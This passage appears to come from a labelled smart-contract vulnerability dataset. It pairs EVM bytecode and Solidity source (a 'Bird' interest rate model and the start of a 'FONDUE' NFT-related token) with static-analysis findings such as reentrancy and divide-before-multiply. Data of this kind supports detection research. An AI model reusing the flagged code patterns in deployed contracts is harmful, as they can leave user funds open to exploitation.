9061183e9190613672565b6001600160a01b0316336001600160a01b0316145b61186f5760405162461bcd60e51b815260040161060790613f3d565b8b6118bc5760405162461bcd60e51b815260206004820152601960248201527f596f75206d75737420737065636966792061205469746c6521000000000000006044820152606401610607565b428463ffffffff16116119115760405162461bcd60e51b815260206004820152601a60248201527f416c726561647920657870697265642074696d657374616d70210000000000006044820152606401610607565b600660008f6001600160a01b03166001600160a01b031681526020019081526020016000206040518061010001604052808f8f8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505081526020018d8d8080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250505090825250604080516020601f8e018190048102820181019092528c815291810191908d908d9081908401838280828437600092019190915250505090825250604080516020601f8c018190048102820181019092528a815291810191908b908b9081908401838280828437600092018290525093855250505063ffffffff808a166020808501919091526040840183905290891660608401526080909201879052835460018101855593815281902082518051939460060290910192611a8a928492019061346e565b506020828101518051611aa3926001850192019061346e565b5060408201518051611abf91600284019160209091019061346e565b5060608201518051611adb91600384019160209091019061346e565b5060808201518160040160006101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160040160046101000a81548163ffffffff021916908363ffffffff16021790555060c08201518160040160086101000a81548163ffffffff021916908363ffffffff16021790555060e0820151816005015550508d6001600160a01b03167f516625247f23faec42d96feb3c46c2ea91f04d4d248a69c50d4bfdcce8921f7f8e8e8e8e8e8e8e8e8e8e8e604051611baa9b9a99989796959493929190613d36565b60405180910390a25050505050505050505050505050565b6000546001600160a01b03163314611bec5760405162461bcd60e51b815260040161060790613e5c565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b84806001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4857600080fd5b505afa158015611c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c809190613672565b6001600160a01b0316336001600160a01b031614611cb05760405162461bcd60e51b815260040161060790613f06565b6001600160a01b0381166000908152600c602052604090205460ff16611ce85760405162461bcd60e51b815260040161060790613e80565b6040805160606020601f88018190040282018101835291810186815290918291908890889081908501838280828437600092019190915250505090825250604080516020601f87018190048102820181019092528581529181019190869086908190840183828082843760009201829052509390945250506001600160a01b038916815260056020908152604090912083518051919350611d8d92849291019061346e565b506020828101518051611da6926001850192019061346e565b50905050856001600160a01b03167f25fdbc222e090858cc121aef55da11cf44faaf595ca940f31cb371ddbe1b6d82338787878760405161178c959493929190613c23565b6060600d805480602002602001604051908101604052809291908181526020018280548015611e4357602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611e25575b5050505050905090565b6000546001600160a01b03163314611e775760405162461bcd60e51b815260040161060790613e5c565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60606000611ea7848461401d565b611eb2906001614005565b905060008167ffffffffffffffff811115611ecf57611ecf6140f0565b604051908082528060200260200182016040528015611f5a57816020015b611f4760405180610100016040528060608152602001606081526020016060815260200160608152602001600063ffffffff168152602001600063ffffffff168152602001600063ffffffff168152602001600081525090565b815260200190600190039081611eed5790505b5090506000805b83811015612271576001600160a01b0388166000908152600660205260409020611f8b8289614005565b81548110611f9b57611f9b6140da565b906000526020600020906006020160405180610100016040529081600082018054611fc590614034565b80601f0160208091040260200160405190810160405280929190818152602001828054611ff190614034565b801561203e5780601f106120135761010080835404028352916020019161203e565b820191906000526020600020905b81548152906001019060200180831161202157829003601f168201915b5050505050815260200160018201805461205790614034565b80601f016020809104026020016040519081016040528092919081815260200182805461208390614034565b80156120d05780601f106120a5576101008083540402835291602001916120d0565b820191906000526020600020905b8154815290600101906020018083116120b357829003601f168201915b505050505081526020016002820180546120e990614034565b80601f016020809104026020016040519081016040528092919081815260200182805461211590614034565b80156121625780601f1061213757610100808354040283529160200191612162565b820191906000526020600020905b81548152906001019060200180831161214557829003601f168201915b5050505050815260200160038201805461217b90614034565b80601f01602080910402602001604051908101604052809291908181526020018280546121a790614034565b80156121f45780601f106121c9576101008083540402835291602001916121f4565b820191906000526020600020905b8154815290600101906020018083116121d757829003601f168201915b5050509183525050600482015463ffffffff8082166020840152600160201b820481166040840152600160401b90910416606082015260059091015460809091015283836122418161406f565b945081518110612253576122536140da565b602002602001018190525080806122699061406f565b915050611f61565b50909695505050505050565b6001600160a01b03821660009081526006602052604081208054839081106122a7576122a76140da565b9060005260206000209060060201604051806101000160405290816000820180546122d190614034565b80601f01602080910402602001604051908101604052809291908181526020018280546122fd90614034565b801561234a5780601f1061231f5761010080835404028352916020019161234a565b820191906000526020600020905b81548152906001019060200180831161232d57829003601f168201915b5050505050815260200160018201805461236390614034565b80601f016020809104026020016040519081016040528092919081815260200182805461238f90614034565b80156123dc5780601f106123b1576101008083540402835291602001916123dc565b820191906000526020600020905b8154815290600101906020018083116123bf57829003601f168201915b505050505081526020016002820180546123f590614034565b80601f016020809104026020016040519081016040528092919081815260200182805461242190614034565b801561246e5780601f106124435761010080835404028352916020019161246e565b820191906000526020600020905b81548152906001019060200180831161245157829003601f168201915b5050505050815260200160038201805461248790614034565b80601f01602080910402602001604051908101604052809291908181526020018280546124b390614034565b80156125005780601f106124d557610100808354040283529160200191612500565b820191906000526020600020905b8154815290600101906020018083116124e357829003601f168201915b5050509183525050600482015463ffffffff8082166020840152600160201b820481166040840152600160401b9091041660608201526005909101546080909101528051519091506125645760405162461bcd60e51b815260040161060790613ec4565b8060a0015163ffffffff16816080015163ffffffff16116125bf5760405162461bcd60e51b81526020600482015260156024820152744e6f206d6f726520574c2072656d61696e696e672160581b6044820152606401610607565b428160c0015163ffffffff161161260b5760405162461bcd60e51b815260206004820152601060248201526f50617373656420646561646c696e652160801b6044820152606401610607565b6001600160a01b0383166000908152600860209081526040808320858452825280832033845290915290205460ff161561267c5760405162461bcd60e51b8152602060048201526012602482015271416c7265616479207075726368617365642160701b6044820152606401610607565b60e08101516040516370a0823160e01b81523360048201526001600160a01b038516906370a082319060240160206040518083038186803b1580156126c057600080fd5b505afa1580156126d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126f89190613ad1565b1161273a5760405162461bcd60e51b81526020600482015260126024820152714e6f7420656e6f75676820746f6b656e732160701b6044820152606401610607565b826001600160a01b03166323b872dd336127538661341a565b8460e001516040518463ffffffff1660e01b8152600401612795939291906001600160a01b039384168152919092166020820152604081019190915260600190565b600060405180830381600087803b1580156127af57600080fd5b505af11580156127c3573d6000803e3d6000fd5b505050506001600160a01b0383166000818152600860209081526040808320868452825280832033808552908352818420805460ff191660019081179091558585526007845282852088865284528285208054918201815585528385200180546001600160a01b0319169091179055928252600690522080548390811061284c5761284c6140da565b6000918252602090912060046006909202018101805463ffffffff600160201b909104169161287a8361408a565b91906101000a81548163ffffffff021916908363ffffffff16021790555050826001600160a01b03167f6ba7d4fd8e5f038d9f00724c25edf24a48842fee67728f6f989088010fef9c1a8333846040516128d693929190613fb1565b60405180910390a2505050565b600d81815481106128f357600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031633146129375760405162461bcd60e51b815260040161060790613e5c565b600455565b6001600160a01b03811660009081526009602090815260408083203380855292529091205482919060ff16806129f35750816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156129a657600080fd5b505afa1580156129ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129de9190613672565b6001600160a01b0316336001600160a01b0316145b612a0f5760405162461bcd60e51b815260040161060790613f3d565b6001600160a01b038316600090815260066020526040812054612a349060019061401d565b6001600160a01b03851660009081526006602052604081208054929350909183908110612a6357612a636140da565b906000526020600020906006020160405180610100016040529081600082018054612a8d90614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612ab990614034565b8015612b065780601f10612adb57610100808354040283529160200191612b06565b820191906000526020600020905b815481529060010190602001808311612ae957829003601f168201915b50505050508152602001600182018054612b1f90614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612b4b90614034565b8015612b985780601f10612b6d57610100808354040283529160200191612b98565b820191906000526020600020905b815481529060010190602001808311612b7b57829003601f168201915b50505050508152602001600282018054612bb190614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612bdd90614034565b8015612c2a5780601f10612bff57610100808354040283529160200191612c2a565b820191906000526020600020905b815481529060010190602001808311612c0d57829003601f168201915b50505050508152602001600382018054612c4390614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612c6f90614034565b8015612cbc5780601f10612c9157610100808354040283529160200191612cbc565b820191906000526020600020905b815481529060010190602001808311612c9f57829003601f168201915b5050509183525050600482015463ffffffff8082166020840152600160201b820481166040840152600160401b9091048116606083015260059092015460809091015260a08201519192501615612d6b5760405162461bcd60e51b815260206004820152602d60248201527f43616e6e6f742064656c657465206974656d207769746820616c72656164792060448201526c626f7567687420676f6f64732160981b6064820152608401610607565b6001600160a01b0385166000908152600660205260409020805480612d9257612d926140c4565b60008281526020812060001990920191600683020190612db282826134f2565b612dc06001830160006134f2565b612dce6002830160006134f2565b612ddc6003830160006134f2565b506004810180546bffffffffffffffffffffffff19169055600060059091015590556040516001600160a01b038616907f6dde1c9592810ef1a7d13d63ea1e8bd97ad5b18c972e9194399ac9b4ec8ccf64906107139033908590613c67565b6001600160a01b0381166000908152600660209081526040808320805482518185028101850190935280835260609492939192909184015b8282101561312c578382906000526020600020906006020160405180610100016040529081600082018054612ea790614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612ed390614034565b8015612f205780601f10612ef557610100808354040283529160200191612f20565b820191906000526020600020905b815481529060010190602001808311612f0357829003601f168201915b50505050508152602001600182018054612f3990614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612f6590614034565b8015612fb25780601f10612f8757610100808354040283529160200191612fb2565b820191906000526020600020905b815481529060010190602001808311612f9557829003601f168201915b50505050508152602001600282018054612fcb90614034565b80601f0160208091040260200160405190810160405280929190818152602001828054612ff790614034565b80156130445780601f1061301957610100808354040283529160200191613044565b820191906000526020600020905b81548152906001019060200180831161302757829003601f168201915b5050505050815260200160038201805461305d90614034565b80601f016020809104026020016040519081016040528092919081815260200182805461308990614034565b80156130d65780601f106130ab576101008083540402835291602001916130d6565b820191906000526020600020905b8154815290600101906020018083116130b957829003601f168201915b5050509183525050600482015463ffffffff808216602080850191909152600160201b830482166040850152600160401b9092041660608301526005909201546080909101529082526001929092019101612e73565b505050509050919050565b6000546001600160a01b031633146131615760405162461bcd60e51b815260040161060790613e5c565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b81806001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156131bd57600080fd5b505afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190613672565b6001600160a01b0316336001600160a01b0316146132255760405162461bcd60e51b815260040161060790613f06565b6001600160a01b0381166000908152600c602052604090205460ff1661325d5760405162461bcd60e51b815260040161060790613e80565b6001600160a01b038381166000818152600b602090815260409182902080546001600160a01b0319169487169485179055905192835290917f802cb57ae6c007281ec553667818c1dc1bba3db1b66085be1e339ac9efbf107d91016128d6565b600d546000906132cf9060019061401d565b6001600160a01b0383166000908152600e6020526040902054909150808214613366576000600d8381548110613307576133076140da565b600091825260209091200154600d80546001600160a01b039092169250829184908110613336576133366140da565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550505b600d805480613377576133776140c4565b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b03949094168152600e90935250506040812055565b600d80546001600160a01b039092166000818152600e60205260408120849055600184018355919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb590910180546001600160a01b0319169091179055565b6001600160a01b038181166000908152600b602052604081205490911661344c57600a546001600160a01b0316613468565b6001600160a01b038083166000908152600b6020526040902054165b92915050565b82805461347a90614034565b90600052602060002090601f01602090048101928261349c57600085556134e2565b82601f106134b557805160ff19168380011785556134e2565b828001600101855582156134e2579182015b828111156134e25782518255916020019190600101906134c7565b506134ee92915061352f565b5090565b5080546134fe90614034565b6000825580601f1061350e575050565b601f01602090049060005260206000209081019061352c919061352f565b50565b5b808211156134ee5760008155600101613530565b803561354f81614106565b919050565b8035801515811461354f57600080fd5b60008083601f84011261357657600080fd5b50813567ffffffffffffffff81111561358e57600080fd5b6020830191508360208285010111156135a657600080fd5b9250929050565b600082601f8301126135be57600080fd5b813567ffffffffffffffff808211156135d9576135d96140f0565b604051601f8301601f19908116603f01168101908282118183101715613601576136016140f0565b8160405283815286602085880101111561361a57600080fd5b836020870160208301376000602085830101528094505050505092915050565b803563ffffffff8116811461354f57600080fd5b60006020828403121561366057600080fd5b813561366b81614106565b9392505050565b60006020828403121561368457600080fd5b815161366b81614106565b600080604083850312156136a257600080fd5b82356136ad81614106565b915060208301356136bd81614106565b809150509250929050565b6000806000606084860312156136dd57600080fd5b83356136e881614106565b925060208401356136f881614106565b915061370660408501613554565b90509250925092565b6000806040838503121561372257600080fd5b823561372d81614106565b915061373b60208401613554565b90509250929050565b60008060008060006060868803121561375c57600080fd5b853561376781614106565b9450602086013567ffffffffffffffff8082111561378457600080fd5b61379089838a01613564565b909650945060408801359150808211156137a957600080fd5b506137b688828901613564565b969995985093965092949392505050565b6000806000806000806000806000806000806101008d8f0312156137ea57600080fd5b6137f38d613544565b9b5067ffffffffffffffff60208e0135111561380e57600080fd5b61381e8e60208f01358f01613564565b909b50995067ffffffffffffffff60408e0135111561383c57600080fd5b61384c8e60408f01358f01613564565b909950975067ffffffffffffffff60608e0135111561386a57600080fd5b61387a8e60608f01358f01613564565b909750955067ffffffffffffffff60808e0135111561389857600080fd5b6138a88e60808f01358f01613564565b90955093506138b960a08e0161363a565b92506138c760c08e0161363a565b915060e08d013590509295989b509295989b509295989b565b600080604083850312156138f357600080fd5b82356138fe81614106565b946020939093013593505050565b60008060006060848603121561392157600080fd5b833561392c81614106565b925060208401359150604084013561394381614106565b809150509250925092565b60008060006060848603121561396357600080fd5b833561396e81614106565b925060208401359150604084013567ffffffffffffffff8082111561399257600080fd5b9085019061010082880312156139a757600080fd5b6139af613fdb565b8235828111156139be57600080fd5b6139ca898286016135ad565b8252506020830135828111156139df57600080fd5b6139eb898286016135ad565b602083015250604083013582811115613a0357600080fd5b613a0f898286016135ad565b604083015250606083013582811115613a2757600080fd5b613a33898286016135ad565b606083015250613a456080840161363a565b6080820152613a5660a0840161363a565b60a0820152613a6760c0840161363a565b60c082015260e083013560e08201528093505050509250925092565b600080600060608486031215613a9857600080fd5b8335613aa381614106565b95602085013595506040909401359392505050565b600060208284031215613aca57600080fd5b5035919050565b600060208284031215613ae357600080fd5b5051919050565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6000815180845260005b81811015613b3957602081850181015186830182015201613b1d565b81811115613b4b576000602083870101525b50601f01601f19169290920160200192915050565b60006101008251818552613b7682860182613b13565b91505060208301518482036020860152613b908282613b13565b91505060408301518482036040860152613baa8282613b13565b91505060608301518482036060860152613bc48282613b13565b9150506080830151613bde608086018263ffffffff169052565b5060a0830151613bf660a086018263ffffffff169052565b5060c0830151613c0e60c086018263ffffffff169052565b5060e083015160e08501528091505092915050565b6001600160a01b0386168152606060208201819052600090613c489083018688613aea565b8281036040840152613c5b818587613aea565b98975050505050505050565b6001600160a01b0383168152604060208201819052600090613c8b90830184613b60565b949350505050565b6020808252825182820181905260009190848201906040850190845b818110156122715783516001600160a01b031683529284019291840191600101613caf565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b82811015613d2957603f19888603018452613d17858351613b60565b94509285019290850190600101613cfb565b5092979650505050505050565b60e081526000613d4a60e083018d8f613aea565b8281036020840152613d5d818c8e613aea565b90508281036040840152613d72818a8c613aea565b90508281036060840152613d8781888a613aea565b63ffffffff96871660808501529490951660a08301525060c001529998505050505050505050565b604081526000613dc26040830185613b13565b8281036020840152613dd48185613b13565b95945050505050565b6000610100808352613df18184018c613b13565b90508281036020840152613e05818b613b13565b90508281036040840152613e19818a613b13565b90508281036060840152613e2d8189613b13565b63ffffffff978816608085015295871660a084015250509190931660c082015260e00191909152949350505050565b6020808252600a90820152694e6f74204f776e65722160b01b604082015260600190565b60208082526024908201527f506c6561736520726567697374657220796f757220436f6e74726163742066696040820152637273742160e01b606082015260800190565b60208082526022908201527f5468697320574c56656e64696e674974656d20646f6573206e6f742065786973604082015261742160f01b606082015260800190565b6020808252601f908201527f596f7520617265206e6f742074686520436f6e7472616374204f776e65722100604082015260600190565b6020808252602f908201527f596f7520617265206e6f7420417574686f72697a656420666f7220746869732060408201526e455243323020436f6e74726163742160881b606082015260800190565b604081526000613f9f6040830185613b60565b8281036020840152613dd48185613b60565b8381526001600160a01b0383166020820152606060408201819052600090613dd490830184613b60565b604051610100810167ffffffffffffffff81118282101715613fff57613fff6140f0565b60405290565b60008219821115614018576140186140ae565b500190565b60008282101561402f5761402f6140ae565b500390565b600181811c9082168061404857607f821691505b6020821081141561406957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415614083576140836140ae565b5060010190565b600063ffffffff808316818114156140a4576140a46140ae565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461352c57600080fdfea2646970667358221220ce8eeabc1f5dda0cb6d264a3c458f49ef12b1843b6dff25af1fece70f1b874c764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,917 |
0xB2281Af73A750a25b2f92F4FE0197a8D57C5401D
|
pragma solidity ^0.5.16;
/**
* @title Bird's InterestRateModel Interface
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title Bird's BirdInterestRateModel Contract
*/
contract BirdInterestRateModel is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock);
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
*/
constructor(uint baseRatePerYear, uint multiplierPerYear) public {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint ur = utilizationRate(cash, borrows, reserves);
return ur.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
}
|
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80638726bb891161005b5780638726bb8914610102578063a385fb961461010a578063b816881614610112578063f14039de146101415761007d565b806315f24053146100825780632191f92a146100bd5780636e71e2d8146100d9575b600080fd5b6100ab6004803603606081101561009857600080fd5b5080359060208101359060400135610149565b60408051918252519081900360200190f35b6100c56101a3565b604080519115158252519081900360200190f35b6100ab600480360360608110156100ef57600080fd5b50803590602081013590604001356101a8565b6100ab6101fa565b6100ab610200565b6100ab6004803603608081101561012857600080fd5b5080359060208101359060408101359060600135610207565b6100ab610286565b6000806101578585856101a8565b905061019860015461018c670de0b6b3a76400006101806000548661028c90919063ffffffff16565b9063ffffffff6102ee16565b9063ffffffff61033016565b9150505b9392505050565b600181565b6000826101b75750600061019c565b6101f26101da836101ce878763ffffffff61033016565b9063ffffffff61038a16565b61018085670de0b6b3a764000063ffffffff61028c16565b949350505050565b60005481565b6220148081565b600080610222670de0b6b3a76400008463ffffffff61038a16565b90506000610231878787610149565b90506000610251670de0b6b3a7640000610180848663ffffffff61028c16565b905061027a670de0b6b3a76400006101808361026e8c8c8c6101a8565b9063ffffffff61028c16565b98975050505050505050565b60015481565b60008261029b575060006102e8565b828202828482816102a857fe5b04146102e55760405162461bcd60e51b81526004018080602001828103825260218152602001806104c96021913960400191505060405180910390fd5b90505b92915050565b60006102e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506103cc565b6000828201838110156102e5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006102e583836040518060400160405280601f81526020017f536166654d6174683a207375627472616374696f6e20756e646572666c6f770081525061046e565b600081836104585760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561041d578181015183820152602001610405565b50505050905090810190601f16801561044a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161046457fe5b0495945050505050565b600081848411156104c05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561041d578181015183820152602001610405565b50505090039056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158204b5ed6a110a1d3117ac487557840ad71f52cda36e455f53f9d9e25c9f2b026cc64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,918 |
0x39bcd142b72D13b23E9fCd10CCdd05491CE115f8
|
/**
*Submitted for verification at Etherscan.io on 2022-02-11
*/
//SPDX-License-Identifier: MIT
/**
About FONDUE
Fondue is a series of Non-Fungible Token(NFT) with 5000 collectible and Ident-able unique artworks on Ethereum blockchain. The Project aims to be a sustainable project to become a solid brand and we will return to society. We aim at making a platform with higher standard, higher quality of ideas this is why we release a NFT pass.
Why FONDUE
Holding a FONDUE is going to have access to a membership of us with future different activities and enjoy different benefits. Our first plan is to launch a cyber T-shirt which members will have the access to design and draw. You are a holder, a creator of RPG.
The Fund generated will be use for the campaign for the community and the projects in our Road Map.
Twitter: https://twitter.com/fonduetoken
Telegram: https://t.me/fonduetoken
Website: https://fonduetoken.com/
Instagram: https://www.instagram.com/fonduetoken/
**/
pragma solidity ^0.8.11;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
